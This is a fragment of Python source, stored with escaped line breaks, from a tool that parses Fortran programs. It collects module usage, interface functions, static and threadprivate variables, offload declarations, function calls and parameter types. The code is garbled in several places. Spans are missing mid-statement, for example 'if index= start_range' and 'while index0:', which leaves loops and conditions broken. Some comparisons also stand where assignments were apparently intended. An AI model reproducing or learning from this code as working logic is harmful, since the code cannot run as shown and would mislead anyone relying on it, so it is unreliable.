self.func_info[sub_name] = {\"files\": []}\n if \"interface_funcs\" not in self.func_info[sub_name]:\n self.func_info[sub_name][\"interface_funcs\"] = {\"files\": [],\"lines\": {}}\n self.func_info[sub_name][\"files\"].append(filepath)\n self.func_info[sub_name][\"interface_funcs\"][filepath] = []\n cur_index = index+1\n cur_line = read_lines[cur_index].lower()\n find = True\n while not (\"end\" in cur_line and \"interface\" in cur_line):\n if(\"module procedure\" in cur_line):\n self.func_info[sub_name][\"interface_funcs\"][filepath].append(self.parse_line(cur_line.split(\"module procedure \")[1].strip()))\n elif(\"function\" in cur_line):\n self.func_info[sub_name][\"interface_funcs\"][filepath].append(self.parse_line(cur_line.split(\"function\")[1].split(\"(\")[0].strip()))\n cur_index += 1\n cur_line = read_lines[cur_index].lower()\n #add also mod name version\n mod_sub_name = get_mod_name(sub_name,module_name)\n if mod_sub_name not in self.func_info:\n self.func_info[mod_sub_name] = {\"files\": []}\n if \"interface_funcs\" not in self.func_info[mod_sub_name]:\n self.func_info[mod_sub_name][\"interface_funcs\"] = {\"files\": [], \"lines\": {}}\n self.func_info[mod_sub_name][\"files\"].append(filepath)\n self.func_info[mod_sub_name][\"interface_funcs\"][filepath] = self.func_info[sub_name][\"interface_funcs\"][filepath]\n \n\n \n lines.append(line)\n if line[0] != \"!\":\n if index= start_range and x[0] <= end_range]\n if not include_comments:\n res = [x for x in res if x[0] != \"!\"] \n return res\n\n\n def contains_subroutine(self, lines, function_name):\n for line in [x.lower() for x in lines]:\n if \"(\" in function_name or \")\" in function_name:\n return False\n if re.search(f\"\\s?subroutine {function_name}[\\s(]\",line) or re.search(f\"\\s?function {function_name}[\\s(]\",line) or re.search(f\"interface {function_name}(\\s|$|,)\",line) or line==f\"subroutine {function_name}\" or line==f\"function {function_name}\":\n return True\n return False\n\n def get_used_module_and_restriction_from_line(self,line):\n if line.strip().split(\" \")[0].strip() == \"use\":\n module = line.strip().split(\" \")[1].strip().split(\",\")[0].strip().lower()\n if \"only:\" in line:\n restrictions = [part.strip() for part in line.split(\"only:\")[1].strip().split(\",\")]\n else:\n restrictions = None \n return (module,restrictions)\n else: \n return (None, None)\n def get_module_restriction_from_line(self,line):\n if \"only:\" in line:\n return [part.strip() for part in line.split(\"only:\")[1].strip().split(\",\")]\n return None\n def get_used_modules_and_restrictions(self,lines):\n modules = []\n res_restrictions = []\n for line in lines:\n module,restrictions= self.get_used_module_and_restriction_from_line(line)\n if module:\n modules.append(module)\n res_restrictions.append(restrictions)\n return (modules,res_restrictions)\n def get_used_modules(self,lines):\n \n return self.get_used_modules_and_restrictions(lines)[0]\n def get_own_module(self,filename):\n return self.file_info[filename][\"module\"]\n \n\n def get_mem_access_or_function_calls(self,lines):\n res = []\n for line in filter(lambda x: not is_variable_line(x),lines):\n line = line.strip()\n matches = re.findall(\"[^'=' '\\/+-.*()<>]+\\(.+\\)\", line)\n if len(matches) > 0:\n res.extend(matches)\n return res\n\n\n def parse_variable(self, line_segment):\n iter_index = len(line_segment)-1\n end_index = iter_index\n start_index = 0\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n while iter_index>0 and (line_segment[iter_index] in \" ()\" or num_of_left_brackets != num_of_right_brackets):\n elem = line_segment[iter_index]\n if elem == \"(\":\n num_of_left_brackets += 1\n elif elem == \")\":\n num_of_right_brackets += 1\n iter_index -= 1\n end_index = iter_index+1\n\n while iter_index>0 and line_segment[iter_index] not in \" *+-();\":\n iter_index -= 1\n \n if iter_index == 0:\n res = line_segment[0:end_index]\n else:\n res = line_segment[iter_index+1:end_index]\n if \"%\" in res:\n end_index = 0\n while res[end_index] != \"%\":\n end_index += 1\n res = res[0:end_index]\n return res\n\n\n def get_writes_from_line(self,line,count=0,to_lower=True):\n res = []\n index = 0\n start_index = 0\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n variable_num = 0\n is_init_line = \"::\" in line\n line = line.split(\"::\",1)[-1].strip()\n while index=!\" and line[index+1] not in \"/<>=!\" and num_of_single_quotes%2==0 and num_of_double_quotes%2==0 and num_of_left_brackets == num_of_right_brackets:\n write = self.parse_variable(line[start_index:index])\n variable = write\n if to_lower:\n variable = variable.lower()\n ##is init line\n variable = variable.strip()\n if is_init_line:\n val = parse_declaration_value(line.split(\"=\")[variable_num+1].strip())\n variable = variable.split(\",\")[-1].strip()\n if val[-1] == \",\":\n val = val[:-1]\n else:\n val = line.split(\"=\",1)[1].strip()\n res.append({\"variable\": variable, \"line_num\": count, \"line\": line, \"is_static\": write in self.static_variables, \"value\": val})\n variable_num += 1\n start_index = index\n elif elem == \"(\":\n num_of_left_brackets += 1\n elif elem == \")\":\n num_of_right_brackets += 1\n return res\n def get_idiag_vars(self,lines):\n local_variables = {parameter:v for parameter,v in self.get_variables(lines, {},\"\", True).items() }\n idiag_vars = []\n for line in lines:\n if \"idiag_\" in line:\n idiag_vars.extend([x[0] for x in get_var_name_segments(line,self.static_variables) if \"idiag_\" in x[0]])\n return unique_list(idiag_vars)\n #for getting idiag /= 0, but there is not that check for every idiag\n # if \"if\" in line and \"(\" in line:\n # if_calls = self.get_function_calls_in_line(line,local_variables)\n # if len(if_calls) == 1 and len(if_calls[0][\"parameters\"]) == 1:\n # if_call = if_calls[0]\n # possible_var = if_call[\"parameters\"][0].split(\"/=\",1)[0].strip()\n # if \"idiag_\" in possible_var:\n # idiag_vars.append(possible_var)\n return idiag_vars\n\n def get_writes(self,lines,exclude_variable_lines=True):\n res = []\n if exclude_variable_lines:\n lines = list(filter(lambda x: not is_variable_line(x), lines))\n for line_index, line in enumerate(lines):\n res.extend(self.get_writes_from_line(line,line_index))\n return res\n def get_rhs_variable(self,line,to_lower=True):\n writes = self.get_writes_from_line(line,0,to_lower)\n if len(writes) == 0:\n return None\n return writes[0][\"variable\"]\n # index = 0\n # start_index = 0\n # num_of_single_quotes = 0\n # num_of_double_quotes = 0\n # num_of_left_brackets = 0\n # num_of_right_brackets = 0\n # while index=!\" and line[index+1] not in \"<>=!\" and num_of_single_quotes%2==0 and num_of_double_quotes%2==0 and num_of_left_brackets == num_of_right_brackets:\n\n # return parse_variable(line[start_index:index])\n # return None\n def get_used_variables_from_line(self,line):\n characters_to_space= [\"/\",\":\", \",\",\"+\",\"-\",\"*\",\"(\",\")\",\"=\",\"<\",\"!\",\">\"]\n for character in characters_to_space:\n line = line.replace(character, \" \")\n parts = [part.strip() for part in line.split(\" \")]\n return [self.parse_variable(part) for part in parts if part]\n\n def get_used_variables(self,lines):\n res = []\n for line in filter(lambda x: not is_variable_line(x),lines):\n res.extend(self.get_used_variables_from_line(line))\n return res\n\n\n def get_function_name(self,line):\n iter_index = len(line)-1\n while(iter_index > 0):\n if line[iter_index] == \"%\":\n return line[0:iter_index]\n iter_index -= 1\n return line\n def get_function_calls_in_line(self, line, local_variables,exclude_variable_lines=True):\n return self.get_function_calls([line],local_variables, exclude_variable_lines)\n def get_function_calls(self,lines, local_variables,exclude_variable_lines=True):\n function_calls = []\n if exclude_variable_lines:\n lines = filter(lambda x: not is_variable_line(x),lines)\n for line_index, line in enumerate(lines):\n line = line.lower()\n function_call_indexes = []\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n #get normal function calls i.e. with parameters and () brackets\n for i in range(len(line)):\n if line[i] == \"'\":\n num_of_single_quotes += 1\n if line[i] == '\"':\n num_of_double_quotes += 1\n if line[i] == \"(\" and (i==0 or line[i-1] not in \"!^'=''\\/+-.*\\(\\)<>^;:,\") and num_of_double_quotes %2 == 0 and num_of_single_quotes %2 == 0:\n function_call_indexes.append(i)\n for index in function_call_indexes:\n current_index = index-1\n if line[current_index] == \" \":\n while(line[current_index] == \" \"):\n current_index -= 1\n while(line[current_index] not in \" !^'=''\\/+-.*\\(\\)<>^,;:\" and current_index >= 0):\n current_index -= 1\n current_index +=1\n function_name = self.get_function_name(line[current_index:index])\n save_index = current_index\n current_index = index\n function_name = function_name.strip()\n if function_name.lower() not in self.static_variables and function_name.lower() not in local_variables:\n #step through (\n current_index +=1\n number_of_right_brackets = 1\n number_of_left_brackets = 0\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n parameter_list_start_index = current_index\n while(number_of_right_brackets>number_of_left_brackets):\n parameter_list = line[parameter_list_start_index:current_index]\n if line[current_index] == \"'\" and num_of_double_quotes %2 == 0:\n num_of_single_quotes += 1\n if line[current_index] == '\"' and num_of_single_quotes %2 == 0:\n num_of_double_quotes += 1\n if line[current_index] == \"(\" and num_of_double_quotes %2 == 0 and num_of_single_quotes %2 == 0:\n number_of_right_brackets += 1\n elif line[current_index] == \")\" and num_of_double_quotes %2 == 0 and num_of_single_quotes %2 == 0: \n number_of_left_brackets += 1\n \n current_index += 1\n \n parameter_list = line[parameter_list_start_index:current_index-1]\n parameters = []\n param =\"\" \n ##if inside brackets they are array indexes\n num_of_left_brackets = 0\n num_of_right_brackets= 0\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n for char in parameter_list:\n if char == \"'\" and num_of_double_quotes %2 == 0:\n num_of_single_quotes += 1\n if char == '\"' and num_of_single_quotes %2 == 0:\n num_of_double_quotes += 1\n if char == \"(\":\n num_of_left_brackets = num_of_left_brackets + 1\n if char == \")\":\n num_of_right_brackets = num_of_right_brackets + 1\n if char == \",\" and num_of_left_brackets == num_of_right_brackets and num_of_double_quotes %2 == 0 and num_of_single_quotes %2 == 0: \n parameters.append(param.strip())\n param = \"\"\n else:\n param = param + char\n ## add last param\n parameters.append(param.strip())\n #if multithreading analysis\n for i, param in enumerate(parameters):\n if len(param) > 0 and param[0] == \"-\":\n parameters[i] = param[1:]\n function_name = function_name.strip()\n if len(function_name) >0 and \"%\" not in function_name and not function_name.isnumeric():\n function_calls.append({\"function_name\": function_name, \"parameters\": [param.strip() for param in parameters if len(param.strip()) > 0], \"range\": (save_index,current_index), \"line\": line, \"line_num\":line_index})\n \n #get function calls with call function i.e. call infront and no brackets\n function_call_indexes = []\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n buffer = \"\"\n #get normal function calls i.e. with parameters and () brackets\n for i in range(len(line)):\n if line[i] == \"'\":\n num_of_single_quotes += 1\n if line[i] == '\"':\n num_of_double_quotes += 1\n elif line[i] in \"'!()[];-+*/=^\":\n buffer = \"\"\n elif line[i] == \" \":\n if buffer == \"call\" and num_of_single_quotes %2 == 0 and num_of_double_quotes %2 == 0:\n function_call_indexes.append(i)\n buffer = \"\"\n else:\n buffer = buffer + line[i]\n for index in function_call_indexes:\n save_index = index-4\n #skip empty spaces\n while line[index] == \" \":\n index= index+1\n if line[index] == \"=\":\n break\n start_index = index\n while index 0 and \"%\" not in function_name and not function_name.isnumeric():\n function_calls.append({\"function_name\": function_name, \"parameters\": [],\"line\":line,\"range\":(save_index,index), \"line_num\":line_index})\n \n \n res = [function_call for function_call in function_calls if not function_call[\"function_name\"].isspace()]\n return res\n\n\n\n\n def get_contains_line_num(self, filename):\n lines = self.get_lines(filename)\n for count, line in enumerate(lines):\n if count < len(lines)-1:\n next_line = lines[count+1].lower()\n else:\n next_line = \"\"\n if is_contains_line(line,next_line):\n return count\n #if no contains line return the end of line\n return len(lines)\n\n def add_public_declarations_in_file(self,filename,lines):\n in_public_block = False\n for count,line in enumerate(lines):\n if line == \"public\":\n in_public_block = True\n if line == \"private\":\n in_public_block = False\n parts = line.split(\"::\")\n is_public_declaration = \"public\" == parts[0].split(\",\")[0].strip()\n if (is_public_declaration or in_public_block) and len(parts) == 2:\n variable_names = self.get_variable_names_from_line(parts[1])\n for variable in variable_names:\n if variable in self.static_variables:\n self.static_variables[variable][\"public\"] = True\n match = re.search(\"include\\s+(.+\\.h)\",line)\n if match:\n header_filename = match.group(1).replace(\"'\",\"\").replace('\"',\"\")\n directory = re.search('(.+)\\/',filename).group(1)\n header_filepath = f\"{directory}/{header_filename}\"\n if os.path.isfile(header_filepath):\n with open(header_filepath,\"r\") as file:\n lines = file.readlines()\n for line in lines:\n parts = line.split(\"::\")\n is_public_declaration = \"public\" == parts[0].split(\",\")[0].strip()\n if is_public_declaration:\n variable_names = self.get_variable_names_from_line(parts[1])\n for variable in variable_names:\n if variable in self.static_variables:\n self.static_variables[variable][\"public\"] = True\n\n def add_threadprivate_declarations_to_file(self,file, declaration):\n contents = []\n not_added = True\n for line in open(file, 'r').readlines():\n \n if (line.strip() == \"contains\" or \"endmodule\" in line) and not_added:\n not_added = False\n contents.append(f\"{declaration}\\n\")\n elif not_added and re.match(\"function\\s+.+\\(.+\\)\",line) or re.match(\"subroutine\\s+.+\\(.+\\)\",line):\n contents.append(f\"{declaration}\\n\")\n not_added = False\n contents.append(line)\n f = open(file, \"w+\")\n f.write(\"\".join(contents))\n\n\n def get_variable_names_from_line(self,line_variables):\n res = []\n start_index=0\n end_index=0\n current_index=0\n parse_still = True\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n while parse_still:\n current_elem = line_variables[current_index]\n if current_elem == \"(\":\n num_of_left_brackets += 1\n if current_elem == \")\":\n num_of_right_brackets += 1\n if current_elem == \"=\":\n \n res.append(line_variables[start_index:current_index])\n parse_until_next_variable = True\n current_index +=1\n while parse_until_next_variable:\n current_elem = line_variables[current_index]\n not_inside_brackets = num_of_left_brackets == num_of_right_brackets\n if current_elem == \"(\":\n num_of_left_brackets += 1\n if current_elem == \")\":\n num_of_right_brackets += 1\n if current_elem == \"!\":\n parse_until_next_variable = False\n parse_still = False\n if current_elem == \",\" and not_inside_brackets:\n start_index = current_index+1\n parse_until_next_variable=False\n if parse_until_next_variable:\n current_index +=1\n if current_index >= len(line_variables):\n start_index = current_index+1\n parse_until_next_variable = False\n parse_still = False\n elif current_elem == \",\" and num_of_left_brackets == num_of_right_brackets:\n res.append(line_variables[start_index:current_index])\n start_index = current_index + 1\n elif current_elem == \"!\":\n parse_still = False\n res.append(line_variables[start_index:current_index+1])\n current_index += 1\n if current_index >= len(line_variables):\n parse_still= False\n if current_index > start_index:\n res.append(line_variables[start_index:current_index+1])\n return [x.replace(\"&\",\"\").replace(\"!\",\"\").replace(\"(:)\",\"\").strip() for x in res if x.replace(\"&\",\"\").replace(\"!\",\"\").strip() != \"\"]\n\n\n\n def make_function_file_known(self,line,filename):\n is_variable = False\n parts = [part.strip() for part in line.split(\"::\")]\n if len(parts) == 2:\n variable_names = [name.lower() for name in self.get_variable_names_from_line(parts[1])]\n for variable in variable_names:\n if filename and variable in self.func_info:\n if filename not in self.func_info[variable][\"files\"]:\n self.func_info[variable][\"files\"].append(filename)\n #in case is interface func add the interface funcs it has in the file\n if \"lines\" not in self.func_info[variable]:\n for interface_func in self.func_info[variable][\"interface_funcs\"][filename]:\n if filename not in self.func_info[interface_func][\"files\"]:\n self.func_info[interface_func].append(filename)\n def get_variables(self, lines, variables,filename,local,in_public=False):\n module = None\n if filename and \"module\" in self.file_info[filename]:\n module = self.get_own_module(filename)\n if module not in self.module_variables:\n self.module_variables[module] = {}\n in_struct = False\n for i, line in enumerate(lines):\n parts = [part.strip() for part in line.split(\"::\")]\n start = parts[0].strip()\n type = start.split(\",\")[0].strip()\n if type == \"public\":\n self.make_function_file_known(line,filename)\n else:\n in_struct = check_if_in_struct(line,in_struct)\n if not in_struct and len(parts)>1:\n self.get_variables_from_line(line,i,variables,filename,module,local,in_public)\n return variables\n\n\n\n\n def parse_file_for_static_variables(self, filepath):\n modules = self.get_always_used_modules(filepath)\n for module in modules:\n self.parse_module(module)\n self.load_static_variables(filepath)\n\n def add_threadprivate_declarations_in_file(self,filename):\n res = []\n lines = self.get_lines(filename, include_comments=True)\n index = 0\n while index0:\n line = (line[:-1] + \" \" + next_line).strip()\n search = re.search(\"(threadprivate|THREADPRIVATE)\\((.*)\\)\",line)\n if search:\n variable_names = [variable.strip() for variable in search.group(2).split(\",\")]\n for variable in variable_names:\n res.append(variable)\n if variable in self.static_variables:\n self.static_variables[variable][\"threadprivate\"] = True\n index = index+1\n return res\n \n def function_is_already_declared(self,function,filename):\n res = []\n lines = self.get_lines(filename, include_comments=True)\n index = 0\n while index0:\n line = (line[:-1] + \" \" + next_line).strip()\n search = re.search(\"(declare target)\\((.*)\\)\",line)\n if search:\n function_names = [variable.strip() for variable in search.group(2).split(\",\")]\n if function in function_names:\n return True\n index = index+1\n return False\n def add_declare_target_declarations_in_file(self,filename):\n res = []\n lines = self.get_lines(filename, include_comments=True)\n index = 0\n while index0:\n line = (line[:-1] + \" \" + next_line).strip()\n search = re.search(\"(declare target)\\((.*)\\)\",line)\n if search:\n variable_names = [variable.strip() for variable in search.group(2).split(\",\")]\n for variable in variable_names:\n res.append(variable)\n for var in self.static_variables:\n if var == variable or f\"{var}_offload\" == variable:\n self.static_variables[var][\"on_target\"] = True\n\n index = index+1\n return res\n\n\n def load_static_variables(self, filename, dst=None):\n if dst is None:\n dst = self.static_variables\n self.parsed_files_for_static_variables.append(filename)\n static_variables_end = self.get_contains_line_num(filename)\n self.get_variables(self.get_lines(filename, 1, static_variables_end), dst, filename, False)\n self.add_public_declarations_in_file(filename,self.get_lines(filename, 1, static_variables_end))\n self.add_threadprivate_declarations_in_file(filename)\n self.add_declare_target_declarations_in_file(filename)\n return dst\n\n def get_subroutine_variables(self, filename, subroutine_name):\n return self.get_variables(self.get_subroutine_lines(subroutine_name,filename))\n\n def get_always_used_modules(self, filename):\n return self.file_info[filename][\"used_modules\"]\n\n def get_subroutine_modules(self, filename, subroutine_name):\n return [module_name for module_name in self.get_used_modules(self.get_subroutine_lines(subroutine_name,filename)) if module_name in self.ignored_modules]\n\n def get_all_modules_in_file_scope(self,filename,modules):\n mod_dict = self.get_always_used_modules(filename)\n modules_to_add = []\n to_add_restrictions = []\n for x in mod_dict:\n modules_to_add.append(x)\n to_add_restrictions.append(mod_dict[x])\n modules_to_add.append(self.get_own_module(filename))\n to_add_restrictions.append(None)\n added_module_indexes = []\n for i,x in enumerate(modules_to_add):\n if x not in modules:\n modules[x] = to_add_restrictions[i]\n added_module_indexes.append(i)\n #if there is a restriction on the module then it is not recursed\n modules_to_recurse = [x[1] for x in enumerate(modules_to_add) if x[0] in added_module_indexes and not to_add_restrictions[i]]\n for module in modules_to_recurse:\n for file in self.find_module_files(module):\n self.get_all_modules_in_file_scope(file, modules)\n # def get_all_modules_in_subroutine_scope(self,filename,subroutine_name):\n # if filename not in self.modules_in_scope:\n # self.modules_in_scope[\"filename\"] = self.get_all_modules_in_file_scope(filename, [self.get_own_module(filename)])\n # res = unique_list(self.modules_in_scope[\"filename\"] + self.get_subroutine_modules(filename,subroutine_name))\n # res = [module for module in res if module not in self.ignored_modules]\n # return res\n\n def update_used_modules(self):\n for filename in [x for x in self.used_files if \"used_modules\" in self.file_info[x] and \"module\" in self.file_info[x]]:\n tmp = {}\n self.get_all_modules_in_file_scope(filename, tmp)\n self.file_info[filename][\"used_modules\"] = tmp\n #for know remove external modules\n for mod in [x for x in self.file_info[filename][\"used_modules\"]]:\n if self.find_module_files(mod) == []:\n del self.file_info[filename][\"used_modules\"][mod]\n def update_static_var_dims(self):\n for var in self.static_variables:\n for i, dim in enumerate(self.static_variables[var][\"dims\"]):\n file = self.static_variables[var][\"origin\"][0]\n if dim in [\"nx\",\"ny\",\"nz\",\"mx\",\"my\",\"mz\"]:\n self.static_variables[var][\"dims\"][i] = self.rename_line_to_internal_names(dim, {},self.file_info[file][\"used_modules\"], self.get_own_module(file))\n dim = self.static_variables[var][\"dims\"][i]\n known_parameters_in_dim= [x for x in self.static_variables if self.static_variables[x][\"parameter\"] and \"value\" in self.static_variables[x] and x in dim]\n replace_dict = {}\n for x in known_parameters_in_dim:\n replace_dict[x] = self.static_variables[x][\"value\"]\n self.static_variables[var][\"dims\"][i] = self.replace_variables_multi(dim, replace_dict)\n # for var in self.static_variables\n # if dim in self.static_variables and self.static_variables[dim][\"parameter\"] and \"value\" in self.static_variables[dim]:\n # self.static_variables[var][\"dims\"][i] = self.static_variables[dim][\"value\"]\n\n for struct in self.struct_table:\n for field in self.struct_table[struct]:\n file = self.struct_table[struct][field][\"origin\"][0]\n for i, dim in enumerate(self.struct_table[struct][field][\"dims\"]):\n if dim in [\"nx\",\"ny\",\"nz\",\"mx\",\"my\",\"mz\",\"n_forcing_cont_max\"]:\n self.struct_table[struct][field][\"dims\"][i] = self.rename_line_to_internal_names(dim, {},self.file_info[file][\"used_modules\"], self.get_own_module(file))\n dim = self.struct_table[struct][field][\"dims\"][i]\n known_parameters_in_dim= [x for x in self.static_variables if self.static_variables[x][\"parameter\"] and \"value\" in self.static_variables[x] and x in dim]\n replace_dict = {}\n for x in known_parameters_in_dim:\n replace_dict[x] = self.static_variables[x][\"value\"]\n self.struct_table[struct][field][\"dims\"][i] = self.replace_variables_multi(dim, replace_dict)\n\n def update_static_var_values(self):\n for var in self.static_variables:\n if \"value\" in self.static_variables[var] and \"mpi\" not in self.static_variables[var][\"value\"]:\n file = self.static_variables[var][\"origin\"][0]\n self.static_variables[var][\"value\"] = self.rename_line_to_internal_names(self.static_variables[var][\"value\"], {},self.file_info[file][\"used_modules\"], self.get_own_module(file))\n \n #recurse until base known values\n for var in self.static_variables:\n if \"value\" in self.static_variables[var] and \"mpi\" not in self.static_variables[var][\"value\"]:\n value = self.static_variables[var][\"value\"]\n known_parameters_in_value= [x for x in self.static_variables if self.static_variables[x][\"parameter\"] and \"value\" in self.static_variables[x] and x in value]\n while(len(known_parameters_in_value)>0):\n replace_dict = {}\n for x in known_parameters_in_value:\n replace_dict[x] = self.static_variables[x][\"value\"]\n value = self.replace_variables_multi(value, replace_dict)\n known_parameters_in_value= [x for x in self.static_variables if self.static_variables[x][\"parameter\"] and \"value\" in self.static_variables[x] and x in value]\n self.static_variables[var][\"value\"] = value\n\n def update_static_vars(self):\n self.update_static_var_values()\n self.update_static_var_dims()\n \n def get_local_module_variables(self,filename,subroutine_name):\n res = {}\n #Variables in own file take precedence \n self.load_static_variables(filename,res)\n\n for module in [x for x in self.get_all_modules_in_subroutine_scope(filename,subroutine_name) if x!=self.get_own_module(filename)]:\n if module not in self.module_variables and module in self.parsed_modules:\n pexit(\"module was parsed but not self.module_variables\",module)\n for var in self.module_variables[module]:\n if var not in res:\n res[var] = self.module_variables[module][var]\n return res\n\n def get_subroutine_lines(self, filename, subroutine_name):\n func_info = self.get_function_info(subroutine_name)\n if \"lines\" not in func_info:\n pexit(\"trying to get func lines without lines\", subroutine_name, filename)\n return func_info[\"lines\"][filename]\n\n def get_parameters(self,line):\n line = line.lower()\n check_subroutine= re.search(\"\\s?subroutine.+\\((.+)\\)\",line)\n if check_subroutine:\n res = [parameter.split(\"=\")[-1].split(\"(\")[0].strip().lower() for parameter in check_subroutine.group(1).split(\",\")]\n return res\n else:\n ##The return parameter needs to be removed\n if \"result\" in line:\n line = line.split(\"result\")[0].strip()\n\n param_search = re.search(\".?function.+\\((.+)\\)\",line)\n if not param_search:\n return []\n res = [parameter.split(\"=\")[-1].split(\"(\")[0].strip().lower() for parameter in param_search.group(1).split(\",\")]\n return [res_part.lower() for res_part in res]\n\n def get_parameter_mapping(self, parameters, parameter_list):\n # return [x[0] for x in enumerate(parameter_list)]\n # Commented out for testing\n mapping = []\n for i, param in enumerate(parameter_list):\n if param[4] is None:\n mapping.append(i)\n else:\n for j,sub_param in enumerate(parameters):\n if sub_param == param[4]:\n mapping.append(j)\n return mapping\n\n def get_static_parameters(self,line,parameter_list):\n parameters = self.get_parameters(line)\n res = []\n mapping = self.get_parameter_mapping(parameters,parameter_list)\n already_done = []\n for i, map_index in enumerate(mapping):\n res.append((parameters[map_index], parameter_list[i][:-1]))\n already_done.append(map_index)\n for i in range(len(parameters)):\n if i not in already_done:\n res.append((parameters[i],(\"\",False,\"\",[])))\n return res\n def get_var_info_from_array_access(self,parameter,local_variables,local_module_variables):\n var = parameter[0].split(\"(\")[0].strip()\n if \"%\" in var:\n var_name, field = var.split(\"%\",1)\n if var_name in local_variables:\n sizes = self.struct_table[local_variables[var_name][\"type\"]][field][\"dims\"]\n else:\n sizes = self.struct_table[self.static_variables[var_name][\"type\"]][field][\"dims\"]\n else:\n if var in local_variables:\n sizes = local_variables[var][\"dims\"]\n else:\n sizes = self.static_variables[var][\"dims\"]\n if parameter[0] == \"(\":\n parameter[0] == parameter[0][1:]\n if parameter[-1] == \")\":\n parameter[0] == parameter[0][:-1]\n indexes = get_indexes(parameter[0],var,0)\n ##count the number of looped indexes\n dim = 0\n dims = []\n for i, index in enumerate(indexes):\n ##can have inline array as array range\n if \":\" in index:\n if index == \":\":\n dims.append(sizes[i])\n else:\n lower,upper = [part.strip() for part in index.split(\":\")]\n if \"(\" not in index:\n dims.append(self.evaluate_integer(f\"{upper}-{lower}+1\"))\n else:\n dims.append(self.evaluate_integer(\":\"))\n elif index.replace(\"(\",\"\").replace(\")\",\"\").strip()[0] == '/' and index.replace(\"(\",\"\").replace(\")\",\"\").strip()[-1] == '/':\n dims.append(\":\")\n source = local_variables if var in local_variables else local_module_variables\n is_static = source[var][\"saved_variable\"] or var in local_module_variables if \"%\" not in var else False\n # type = res[2] if res[2] != \"\" else source[var][\"type\"]\n type = source[var][\"type\"] if \"%\" not in var else \"pencil_case\"\n return (var,is_static, type, dims)\n def get_param_info(self,parameter,local_variables,local_module_variables):\n if len(parameter[0][0]) == 0:\n pexit(\"INCORRECT PARAM\",parameter)\n if parameter[0][0] == \"(\" and parameter[0][-1] == \")\":\n return self.get_param_info((parameter[0][1:-1],parameter[1]),local_variables,local_module_variables)\n #is scientific number\n if \"e\" in parameter[0] and parameter[0].replace(\".\",\"\").replace(\"-\",\"\").replace(\"e\",\"\").replace(\"+\",\"\").isnumeric():\n return (parameter[0],False,\"real\",[])\n if parameter[0] in local_variables:\n return (parameter[0],parameter[1],local_variables[parameter[0]][\"type\"],local_variables[parameter[0]][\"dims\"])\n if parameter[0] in local_module_variables:\n return (parameter[0],parameter[1],local_module_variables[parameter[0]][\"type\"],local_module_variables[parameter[0]][\"dims\"])\n if parameter[0] in self.static_variables:\n return (parameter[0],parameter[1],self.static_variables[parameter[0]][\"type\"],self.static_variables[parameter[0]][\"dims\"])\n if parameter[0][0] == \"(\":\n parameter = (parameter[0][1:],parameter[1])\n if parameter[0] == \".true.\" or parameter[0] == \".false.\":\n return (parameter[0],False,\"logical\",[])\n is_sum = False\n is_product = False\n is_division = False\n is_difference = False\n num_of_left_brackets = 0\n num_of_right_brackets= 0\n possible_var = \"\"\n in_array = False\n for char_index,char in enumerate(parameter[0]):\n if char == \"(\":\n num_of_left_brackets += 1\n if parameter[0][char_index-1] == \" \":\n back_index = char_index-1\n while(parameter[0][back_index] == \" \" and back_index>0):\n back_index -= 1\n if back_index != 0 and parameter[0][back_index] not in \"*-+/(\":\n in_array = True\n else:\n if char_index != 0 and parameter[0][char_index-1] not in \"*-+-/(\":\n # in_array = possible_var in local_variables or possible_var in local_module_variables \n in_array = True\n possible_var = \"\"\n elif char == \")\":\n num_of_right_brackets += 1\n if num_of_left_brackets == num_of_right_brackets:\n in_array = False\n possible_var = \"\"\n elif char == \"+\" and not in_array:\n is_sum = True\n possible_var = \"\"\n elif char == \"*\" and not in_array:\n is_product= True\n possible_var = \"\"\n elif char == \"-\" and not in_array:\n is_difference= True\n possible_var = \"\"\n elif char == \"/\" and not in_array and parameter[0][char_index-1] != \"(\" and parameter[0][char_index+1] != \")\" and char_index != 0 and char_index != len(parameter[0])-1:\n if char_index < len(parameter[0])-1:\n is_division = parameter[0][char_index+1] not in \")!\"\n else:\n is_division= True\n possible_var = \"\"\n else:\n possible_var = possible_var + char\n operations = (is_sum,is_difference,is_product,is_division)\n # print(\"PARAM\",parameter,operations)\n #Inline array\n if not is_division and parameter[0].replace(\"(\",\"\")[0] == \"/\" and parameter[0].replace(\")\",\"\")[-1] == \"/\":\n par_str = parameter[0].strip()\n if par_str[0] != \"(\":\n par_str = \"(\" + par_str\n if par_str[1] == \"/\":\n par_str = par_str[0] + par_str[2:]\n if par_str[-1] != \")\":\n par_str = par_str + \")\"\n if par_str[-2] == \"/\":\n par_str = par_str[:-2] + par_str[-1]\n par_str = \"inline_array\" + par_str\n parameters = self.get_function_calls_in_line(par_str, local_variables)[0][\"parameters\"]\n info = self.get_param_info((parameters[0],False),local_variables,local_module_variables)\n return (parameter[0],\"False\",info[2],[\":\"])\n func_calls = self.get_function_calls_in_line(parameter[0],local_variables)\n if len(func_calls)>0 and not any(operations):\n first_call = func_calls[0]\n #Functions that simply keep the type of their arguments\n if first_call[\"function_name\"] in [\"sqrt\",\"alog\",\"log\",\"exp\",\"sin\",\"cos\",\"log\",\"abs\"]:\n return self.get_param_info((first_call[\"parameters\"][0],False),local_variables,local_module_variables)\n #Array Functions that return single value if single param else an array\n if first_call[\"function_name\"] in [\"sum\"]:\n new_param = (first_call[\"parameters\"][0],False)\n inside_info = self.get_param_info(new_param,local_variables,local_module_variables)\n if len(first_call[\"parameters\"]) == 1:\n return (first_call[\"parameters\"][0],False,inside_info[2],[])\n else:\n return (first_call[\"parameters\"][0],False,inside_info[2],[\":\"])\n #Array Functions that return scalar value, multiple params, return type is passed on first param\n if first_call[\"function_name\"] in [\"dot_product\"]:\n \n inside_info = self.get_param_info((first_call[\"parameters\"][0],False),local_variables, local_module_variables)\n return (parameter[0],False,inside_info[2],[])\n #Array Functions that return the largest value in params, multiple params, return type is passed on first param\n if first_call[\"function_name\"] in [\"max\",\"min\"]:\n inside_info = self.get_param_info((first_call[\"parameters\"][0],False),local_variables, local_module_variables)\n return (parameter[0],False,inside_info[2],inside_info[3])\n \n if first_call[\"function_name\"] in [\"maxval\",\"minval\"]:\n inside_info = self.get_param_info((first_call[\"parameters\"][0],False),local_variables, local_module_variables)\n return (parameter[0],False,inside_info[2],inside_info[3][:-1])\n\n 